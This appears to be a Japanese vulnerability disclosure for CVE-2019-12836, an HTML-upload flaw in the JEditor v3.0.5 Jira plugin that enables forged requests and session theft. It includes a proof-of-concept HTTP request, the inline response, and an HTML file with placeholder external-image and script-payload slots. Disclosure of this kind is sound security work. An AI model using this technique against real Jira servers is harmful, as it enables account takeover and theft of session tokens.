9lyph/cve-2019-12836CVE-2019-12836
JEditor v3.0.5 - JIRA向けWYSIWIGエディタ
Jira向けのシンプルかつ強力なリッチテキストエディタ。HTMLメールのインポート、リッチコンテンツの貼り付け、テンプレート作成、フィールドの事前入力が可能。
Bobronix
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12836
JEditor - Jira向けWYSIWYGエディタ - v3.0.5
JEditor v3.0.5
Jira向けBobronix JEditorエディタ（v3.0.6未満）では、攻撃者が既存の課題にURL/リンクを追加でき、これによりオリジン外のドメインへのリクエストの偽造が可能になります。その結果、認証済みユーザーのコンテキストで偽造リクエストが呼び出され、セッショントークンの窃取やアカウント乗っ取りにつながる可能性があります。
JEditor v3.0.5では、さまざまなファイル拡張子タイプ（その1つは'.HTML'）のファイルをアップロードできます。JEditorはJIRAのファイルアップロード機能に利用されています。この機能を使用して、攻撃者は悪意のあるコンテンツをアップロードできます。
悪意のあるコンテンツがアップロードされると、そのコンテンツへの後続のリクエストが行われ、認証済みユーザーのブラウザのコンテキストでコンテンツがインライン表示およびレンダリングされます。これにより、攻撃者は任意の認証済みユーザーに代わって悪意のあるリクエストを偽造できる可能性があります。
クロスサイトリクエストフォージェリ (CSRF)
JEditor v3.0.6で修正済み
https://jeditor.zendesk.com/hc/en-us/articles/360029430751-JEditor-3-0-6-release-notes
偽造リクエストを可能にし、クライアント側の攻撃ベクトルの可能性をもたらす
埋め込まれたリンク/URLと対話するには認証済みユーザーが必要
クレジット: Victor Hanna (Exploit Security)
GET /plugins/servlet/jeditor_file_provider?imgId=ckupload201906162566696393384747423&fileName=C%3A%5Ctemp%5CPOC.html HTTP/1.1
Host: <vulnerable host>
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0)
Accept: text/html,application/xhtml_xml,application/xml;q=0.9,*/*;q=0.8
Accept-Langauge: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://<vulnerable host>/secure/Dashboard.jspa
DNT: 1
Connection: close
Cookie: atlassian.xsrf.token=BNXD-VY4I-RCJA-J3YA_34d13dd7fae0f32023fc89838ldc0b6c35991382_lin; JSESSION=42E9F5581BAE499E3E9E45B9D44E6F3C
Upgrade-Insecure-Requests: 1
HTTP/1.1 200
Server: nginx/1.10.2
Date: Sun, 16 Jun 2019 03:06:10 GMT
Content-Type: text/html;charset=UTF-8
Connection: close
X-AREQUESTID: 786x226666x1
X-ASESSIONID: pn6xpm
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-ASEN: SEN-2322842
X-Seraph-LoginReason: OK
X-AUSERNAME:
Content-Disposition: inline; filename="C:\temp\POC.html"
Vary: User-Agent
Content-Length: 236
<html>
<head>
<img src="http://{insert external image location here}">
<script>{JS Payload of any description}</script>
</head>
<body>
<h1>
Welcome to the Jungle !
</h1>
</body>
</html>
Exploit SecurityのVictor Hanna